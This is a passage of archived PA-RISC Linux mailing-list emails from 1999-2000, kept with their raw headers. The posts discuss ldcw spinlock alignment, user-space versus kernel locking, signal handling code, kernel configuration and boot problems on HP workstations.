X-Trace: ger.gmane.org 1416619436 8929 80.91.229.3 (22 Nov 2014 01:23:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:56 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>, John Marvin <jsm@udlkern.fc.hp.com>,
        parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: jes@lxplus015.cern.ch  Sat Dec 16 14:58:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA15015
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Dec 2000 14:58:27 -0700
Original-Received: (qmail 28955 invoked by uid 15267); 16 Dec 2000 22:01:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28944 invoked from network); 16 Dec 2000 22:01:20 -0000
Original-Received: from smtp1.cern.ch (137.138.128.38)
  by mailserv2.iuinc.com with SMTP; 16 Dec 2000 22:01:20 -0000
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id WAA06766;
	Sat, 16 Dec 2000 22:58:57 +0100 (MET)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id WAA01648;
	Sat, 16 Dec 2000 22:58:56 +0100
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Matthew Wilcox's message of "Sat, 16 Dec 2000 19:29:19 +0000"
Original-Lines: 14
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:8902

>>>>> "Matthew" == Matthew Wilcox <matthew@wil.cx> writes:

Matthew> On Fri, Dec 15, 2000 at 06:32:12PM +0100, Jes Sorensen wrote:
>>  We probably cannot, we can however create our own version of the
>> header file for the parisc port.

Matthew> That was what I meant.  the question is, would it _work_?  Or
Matthew> is this struct embedded in other structs at
Matthew> non-16byte-aligned positions?

That can be solved by adding an aligned attribute to the struct definition.

Jes


From - Thu Nov 08 21:14:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A180 Ignition Howto
Date: Tue, 11 May 1999 19:46:41 -0400 (EDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990511194053.3178B-100000@devserv.devel.redhat.com>
References: <yq1vhdz9r1q.fsf@jaguar.socsci.auc.dk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619436 8939 80.91.229.3 (22 Nov 2014 01:23:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Martin K. Petersen" <mkp@mkp.net>
Original-X-From: adevries@redhat.com  Tue May 11 17:46:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA10613
	for <parisc-linux@puffin.external.hp.com>; Tue, 11 May 1999 17:46:56 -0600
Original-Received: (qmail 12645 invoked by uid 15267); 11 May 1999 23:46:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12638 invoked from network); 11 May 1999 23:46:39 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 11 May 1999 23:46:39 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id TAA03896;
	Tue, 11 May 1999 19:46:41 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
In-Reply-To: <yq1vhdz9r1q.fsf@jaguar.socsci.auc.dk>
Xref: news.gmane.org gmane.linux.ports.parisc:8903


On 12 May 1999, Martin K. Petersen wrote:
> 
> My A180 arrived a couple of days ago.

So, the three Americans have theirs, the Dane was next, and the four of
the five Canadians have theirs too now.  The Welshman is all that's left.
Wuhoo!

> The A180 has a builtin webconsole. On the back of the system unit
> there are two RJ45 connectors. One of them is regular ethernet
> (DEC2114x btw. Should be piece of cake to get running) and the other
> is for the webconsole.

How did you know that it was a tulip?

> Oh, well. Bugger. Then I decided to try out the webconsole. The
> interface defaults to 192.0.0.192. Clickety-clik. *Blam* the Java
> stuff in the webconsole nuked my Netscape. Grumble.

I had similiar problems with Netscape 4.51.  It seems to work just fine on
Netscape 4.08, though, which is what came with Red Hat 5.2.

I haven't gotten to serial console yet because both my desktop and my
(recently dropped) notebook both only have 9 pin serial ports, and the
supplied cable's 25 pins.

Incidentally, Christopher Beard told me over lunch that he got the kernel
building under HPUX, which would solve the linking problems we were
worried about.

- Alex


From - Thu Nov 08 21:14:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Sat, 16 Dec 2000 17:22:38 -0800 (PST)
Lines: 36
Approved: news@gmane.org
Message-ID: <200012170122.RAA26462@opus.allegro.com>
References: <20001216192919.A10477@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619436 8950 80.91.229.3 (22 Nov 2014 01:23:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:56 +0000 (UTC)
Cc: jes@linuxcare.com (Jes Sorensen), matthew@wil.cx (Matthew Wilcox),
        alan@linuxcare.com.au (Alan Modra),
        jsm@udlkern.fc.hp.com (John Marvin), parisc-linux@thepuffingroup.com
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: sieler@opus.allegro.com  Sat Dec 16 18:21:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA16343
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Dec 2000 18:21:33 -0700
Original-Received: (qmail 3506 invoked by uid 15267); 17 Dec 2000 01:24:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3495 invoked from network); 17 Dec 2000 01:24:26 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 17 Dec 2000 01:24:26 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id RAA26462;
	Sat, 16 Dec 2000 17:22:39 -0800
In-Reply-To: <20001216192919.A10477@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Dec 16, 2000 07:29:19 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:8904

Re:

> > Matthew> Can we move the __spinlock to be the first element of the

Why not do it "right", with a kernel locking call of some kind?
User code should never do LDCW calls ... we've just seen yet another
example of why: it's difficult to do correctly.  Providing fast
locking mechanisms is the *kernel's* job.

(That's the real short version of the well-founded diatribe I launched
against HP for suggesting that developers do their own spinlocks...
and I was proved correct when a couple of months later HP said "oops,
our suggested code was wrong". :)

Another reason for kernel implementation: *real world experience*:
the programmer might *think* that the lock will *always* be held
for a very short time, so the spin loop is acceptable ... but ... yes,
things happen ... and sometimes the programmer is wrong, and that
can have tragic consequences.  A kernel-implemented fast-lock would
presumably ...like on MPE/iX ... have a max number of hard loops,
and then revert to a blocking-lock of some kind.

BTW, MPE's solution to misaligned semaphore structures is to select
one of 15 reserved kernel semaphores (based on the bottom 4 bits of
the address of the user's misaligned semaphore) as a temporary
"helper" semaphore (to loop/ldcws on).  At least that way,
there's a 14/15 chance that two different misaligned semaphores won't
compete with each other when they shouldn't.  

Sorry this isn't a solution, just a suggestion that requires a bit 
more work :)

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com        


From - Thu Nov 08 21:14:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Sun, 17 Dec 2000 02:38:10 +0000 (GMT)
Lines: 16
Approved: news@gmane.org
Message-ID: <E147TiI-0003X1-00@the-village.bc.nu>
References: <200012170122.RAA26462@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619436 8958 80.91.229.3 (22 Nov 2014 01:23:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:56 +0000 (UTC)
Cc: matthew@wil.cx (Matthew Wilcox), jes@linuxcare.com (Jes Sorensen),
        alan@linuxcare.com.au (Alan Modra),
        jsm@udlkern.fc.hp.com (John Marvin), parisc-linux@thepuffingroup.com
To: sieler@allegro.com (Stan Sieler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Sat Dec 16 19:49:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA17182
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Dec 2000 19:49:03 -0700
Original-Received: (qmail 27725 invoked by uid 15267); 17 Dec 2000 02:51:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27714 invoked from network); 17 Dec 2000 02:51:55 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 17 Dec 2000 02:51:55 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 147TiI-0003X1-00; Sun, 17 Dec 2000 02:38:14 +0000
In-Reply-To: <200012170122.RAA26462@opus.allegro.com> from "Stan Sieler" at Dec 16, 2000 05:22:38 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8905

> User code should never do LDCW calls ... we've just seen yet another
> example of why: it's difficult to do correctly.  Providing fast
> locking mechanisms is the *kernel's* job.

There are good reasons for doing buzzlocks in user space

> for a very short time, so the spin loop is acceptable ... but ... yes,
> things happen ... and sometimes the programmer is wrong, and that
> can have tragic consequences.  A kernel-implemented fast-lock would
> presumably ...like on MPE/iX ... have a max number of hard loops,
> and then revert to a blocking-lock of some kind.

Thats how Mozilla does it, and with a short spin in user space performance
is way higher than always bugging the kernel



From - Thu Nov 08 21:14:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Sat, 16 Dec 2000 21:18:25 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20001217041834.39E581872C@security.hp.com>
References: <E147TiI-0003X1-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619437 8965 80.91.229.3 (22 Nov 2014 01:23:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:57 +0000 (UTC)
Cc: sieler@allegro.com (Stan Sieler), matthew@wil.cx (Matthew Wilcox),
        jes@linuxcare.com (Jes Sorensen), alan@linuxcare.com.au (Alan Modra),
        jsm@udlkern.fc.hp.com (John Marvin), parisc-linux@thepuffingroup.com,
        lamont@hp.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: lamont@hp.com  Sat Dec 16 21:15:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA17989
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Dec 2000 21:15:42 -0700
Original-Received: (qmail 15530 invoked by uid 15267); 17 Dec 2000 04:18:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15520 invoked from network); 17 Dec 2000 04:18:36 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 17 Dec 2000 04:18:36 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.1.44.224])
	by atlrel1.hp.com (Postfix) with ESMTP
	id D1A5C1518E; Sat, 16 Dec 2000 23:18:35 -0500 (EST)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.1.44.224])
	by security.hp.com (Postfix) with ESMTP
	id 39E581872C; Sat, 16 Dec 2000 21:18:33 -0700 (MST)
In-reply-to: Your message of "Sun, 17 Dec 2000 02:38:10 GMT."
             <E147TiI-0003X1-00@the-village.bc.nu> 
Content-ID: <20408.977026705.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8906

> Thats how Mozilla does it, and with a short spin in user space performance
> is way higher than always bugging the kernel

The hp-ux implementation of msem_lock() takes the advantages of both:
Gateway to kernel mode (very light weight - one predicted branch beyond
the function call), and then it does the spin and wait as needed.  Very
low cost, with the kernel-mode blocking easier to do that a combined
user-and-kernel-mode implementation.

Just my $.02,
lamont


From - Thu Nov 08 21:14:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Sun, 17 Dec 2000 15:31:19 +1100 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012171457580.14217-100000@front.linuxcare.com.au>
References: <d38zpgdo4f.fsf@lxplus015.cern.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619437 8971 80.91.229.3 (22 Nov 2014 01:23:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:57 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, John Marvin <jsm@udlkern.fc.hp.com>,
        parisc-linux@thepuffingroup.com
To: Jes Sorensen <jes@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Sat Dec 16 21:30:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA18603
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Dec 2000 21:30:53 -0700
Original-Received: (qmail 25598 invoked by uid 15267); 17 Dec 2000 04:33:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25582 invoked from network); 17 Dec 2000 04:33:47 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 17 Dec 2000 04:33:47 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA16883;
	Sun, 17 Dec 2000 15:31:19 +1100
In-Reply-To: <d38zpgdo4f.fsf@lxplus015.cern.ch>
Xref: news.gmane.org gmane.linux.ports.parisc:8907

On 16 Dec 2000, Jes Sorensen wrote:

> >>>>> "Matthew" == Matthew Wilcox <matthew@wil.cx> writes:
> 
> Matthew> On Fri, Dec 15, 2000 at 06:32:12PM +0100, Jes Sorensen wrote:
> >>  We probably cannot, we can however create our own version of the
> >> header file for the parisc port.
> 
> Matthew> That was what I meant.  the question is, would it _work_?  Or
> Matthew> is this struct embedded in other structs at
> Matthew> non-16byte-aligned positions?
> 
> That can be solved by adding an aligned attribute to the struct definition.

Doesn't a struct automatically inherit the maximum alignment of its
fields?

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@eradicator.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] signal.c, etc
Date: 17 Dec 2000 14:41:39 -0500
Organization: None worth mentioning
Lines: 34
Approved: news@gmane.org
Message-ID: <87zohuhm30.fsf@cepstral.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619438 8982 80.91.229.3 (22 Nov 2014 01:23:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: rhirst@linuxcare.com
Original-X-From: dhd@eradicator.org  Sun Dec 17 12:45:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA02617
	for <parisc-linux@puffin.external.hp.com>; Sun, 17 Dec 2000 12:45:15 -0700
Original-Received: (qmail 23412 invoked by uid 15267); 17 Dec 2000 19:48:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23376 invoked from network); 17 Dec 2000 19:48:09 -0000
Original-Received: from 03-138.095.popsite.net (HELO monolith) (@204.192.4.138)
  by mailserv2.iuinc.com with SMTP; 17 Dec 2000 19:48:09 -0000
Original-Received: from dhd by monolith with local (Exim 3.12 #1 (Debian))
	id 147jgh-0003vH-00; Sun, 17 Dec 2000 14:41:39 -0500
Original-Lines: 33
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7
Xref: news.gmane.org gmane.linux.ports.parisc:8909

Hi,

Just reading through the archives, I noticed you came upon my rather
hackish IAOQ manipulation in signal.c.

If you guys need any explanation about the intent of that code please
ask me.  (I'm back on the parisc-linux list now, BTW)

I freely admit that it is bogus (in fact that's why the comment was
there), not because I didn't know which part of IAOQ was front and
which was back, but because:

(a) There are two different signal exit paths, one from interruptions,
    one from system calls.  This complicates things *tremendously*.
    However, exiting from a signal handler always goes via system
    calls, and in that case, the stored IAOQ values are meaningless.
    I probably should have removed all the meaningless frobbings of
    the stored IAOQ, but ... well ... time passes, you become occupied
    elsewhere, etc.

(b) I don't understand what the processor actually does when you
    restore IAOQ on exit from an interruption.  The HP documentation
    is not written in a particularly lucid manner.

(c) Setting iaoq_back to iaoq_front + 4 is *not* the right answer
    because you may have taken an interruption in a branch, or an insn
    may have been nullified, etc.

(d) I had about ten billion other things to do at the time and was
    under lots of pressure to get "more important things" working...

-- 
David Huggins-Daines		-		dhd@eradicator.org


From - Thu Nov 08 21:14:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] configuration problems with cvs from 20001216 15:40 CET
Date: Sun, 17 Dec 2000 21:20:51 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <00121721201800.25726@P100>
References: <20001217115105.A17378@excalibur.cologne.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619438 8983 80.91.229.3 (22 Nov 2014 01:23:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:58 +0000 (UTC)
To: Karsten Merker <karsten@excalibur.cologne.de>,
        parisc-linux@thepuffingroup.com
Original-X-From: deller@gmx.de  Sun Dec 17 13:18:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA03295
	for <parisc-linux@puffin.external.hp.com>; Sun, 17 Dec 2000 13:18:16 -0700
Original-Received: (qmail 17208 invoked by uid 15267); 17 Dec 2000 20:21:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17191 invoked from network); 17 Dec 2000 20:21:10 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 17 Dec 2000 20:21:10 -0000
Original-Received: (qmail 23993 invoked by uid 0); 17 Dec 2000 20:20:43 -0000
Original-Received: from pd9040333.dip.t-dialin.net (HELO P100) (217.4.3.51)
  by mail.gmx.net (mail08) with SMTP; 17 Dec 2000 20:20:43 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20001217115105.A17378@excalibur.cologne.de>
Xref: news.gmane.org gmane.linux.ports.parisc:8910

> $CONFIG_FB_STI is set to "y" as can be seen in .config, nonetheless
> CONFIG_FBCON_STI is not declared. 

Hi Karsten,

I can't reproduce your problems with a freshly checked-out tree. Maybe you 
have wrong permissions on .config or a similiar silly problem ?

If you check out, please remove your .config and make a new "make menuconfig".
Now remember to DISABLE (!!) "Support for console on serial port" under 
"Character Devices" and enable STI-console and STI-fb again.

Greetings,

	Helge


From - Thu Nov 08 21:14:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@deathsdoor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (still) booting problems with HP9000/730
Date: Sun, 17 Dec 2000 23:39:47 +0100 (CET)
Lines: 56
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012172113360.11612-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619439 8985 80.91.229.3 (22 Nov 2014 01:23:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:59 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: xam@deathsdoor.com  Sun Dec 17 15:37:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA04594
	for <parisc-linux@puffin.external.hp.com>; Sun, 17 Dec 2000 15:37:13 -0700
Original-Received: (qmail 21489 invoked by uid 15267); 17 Dec 2000 22:40:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21482 invoked from network); 17 Dec 2000 22:40:08 -0000
Original-Received: from p3ee03a95.dip.t-dialin.net (HELO sgate.charlysworld.de) (root@62.224.58.149)
  by mailserv2.iuinc.com with SMTP; 17 Dec 2000 22:40:08 -0000
Original-Received: from localhost (xam@localhost)
	by sgate.charlysworld.de (8.11.0/8.11.0) with ESMTP id eBHMdmK14915
	for <parisc-linux@thepuffingroup.com>; Sun, 17 Dec 2000 23:39:54 +0100
X-Authentication-Warning: sgate.charlysworld.de: xam owned process doing -bs
X-Sender: xam@sgate.charlysworld.de
Xref: news.gmane.org gmane.linux.ports.parisc:8911


Hello there,

i'm glad to see that Linux/HPPA makes such great efforts.
But unfortunately I've still problems in booting Linux/HPPA
on my 'king cobra'. :(((((

Today I got the latest nfsroot, xc (binaries) and compiled
the linux-kernel from CVS.
i just unpacked the nfsroot to the hd and changed /etc/fstab
accordingly. kernel build just works fine :))))

I just have one scsi-device on in my HP (scsi id 6, 1GB),
which has 3 partitions (like in the palo-readme).
the workstation has 32MB ram, a builtin network card,
and a crx color display (8bit 1280x1024, 19" A1097C screen).
nothing special, just an ordinary hp9000/730.
i don't use bootp/dhcp.

The kernel starts booting, but the scsi driver (old Ncr)
reports some warnings/errors like
shared memory is not coherent (or so), failed to reset scsi bus,
irq probe failed etc...

the scsi driver finally recognizes my Quantum HD and
tries to boot from it (mount it)..
There is nothing like VFS: unable to mount blabla;
instead it runs in to an infinite loop of kernel oops,
it prints continously kernel stack/register traces 
(seem to look all the same).

unfortunatly i can't write them down (since i cannot
interrupt the debug output or i don 't know how to)

the boot partition is /dev/sda3, and i use sti as console
the latter one seems not to work properly, as not all letters /lines
are printed on the screen, at least after the scsi HD is recognized
and the kernel tries to mount the root partition; e.g. i
can see something like this:

"Moun     partit  .."  or 
"VF  :un   to"         or 
"bootp    ..... .."

so at least i can guess what the output means

I've read that some guy here has successfully
booted linux/HPPA on an 730 before (about 2 months ago),
but i always fail. any hints what i'm don' wrong ?

thanks in advance,
greetings max

PS: keep on the good work!



From - Thu Nov 08 21:14:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Sun, 17 Dec 2000 16:29:50 -0800 (PST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200012180029.QAA03444@opus.allegro.com>
References: <E147TiI-0003X1-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619439 8987 80.91.229.3 (22 Nov 2014 01:23:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:59 +0000 (UTC)
Cc: matthew@wil.cx (Matthew Wilcox), jes@linuxcare.com (Jes Sorensen),
        alan@linuxcare.com.au (Alan Modra),
        jsm@udlkern.fc.hp.com (John Marvin), parisc-linux@thepuffingroup.com
To: alan@lxorguk.ukuu.org.uk (Alan Cox)
Original-X-From: sieler@opus.allegro.com  Sun Dec 17 17:28:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA05651
	for <parisc-linux@puffin.external.hp.com>; Sun, 17 Dec 2000 17:28:27 -0700
Original-Received: (qmail 3314 invoked by uid 15267); 18 Dec 2000 00:31:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3302 invoked from network); 18 Dec 2000 00:31:22 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 18 Dec 2000 00:31:22 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id QAA03444;
	Sun, 17 Dec 2000 16:29:50 -0800
In-Reply-To: <E147TiI-0003X1-00@the-village.bc.nu> from "Alan Cox" at Dec 17, 2000 02:38:10 AM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:8912

Re:

> There are good reasons for doing buzzlocks in user space

Not really...they all vanish when you look with the microscope of
experience.  Trust me.  I've been doing this stuff (multi-processor,
semaphores, locks, etc.) for 30 years.  

And, Lamont agrees, apparently :)

(Thanks, Lamont, and hi!)

The apparent advantages are *strictly* short term.  A single mistake
using a buzz lock from user code in a single process on a single computer
can cost more time than all properly implemented buzz locks ever save.

The "it's faster" argument is the same kind of argument as "not indenting my 
code makes it faster to write, because I don't have to waste the 
time pressing that space bar or tab key"....and precisely as bad an argument :)

Operating system functions, strangely enough, deserved to be implemented
in the *operating system*!  Gaining exclusive access to a data structure
is such a function.

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com        


From - Thu Nov 08 21:14:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ldcw in __pthread_acquire
Date: Mon, 18 Dec 2000 00:36:06 +0000 (GMT)
Lines: 10
Approved: news@gmane.org
Message-ID: <E147oHg-0004n8-00@the-village.bc.nu>
References: <200012180029.QAA03444@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619439 8989 80.91.229.3 (22 Nov 2014 01:23:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:59 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), matthew@wil.cx (Matthew Wilcox),
        jes@linuxcare.com (Jes Sorensen), alan@linuxcare.com.au (Alan Modra),
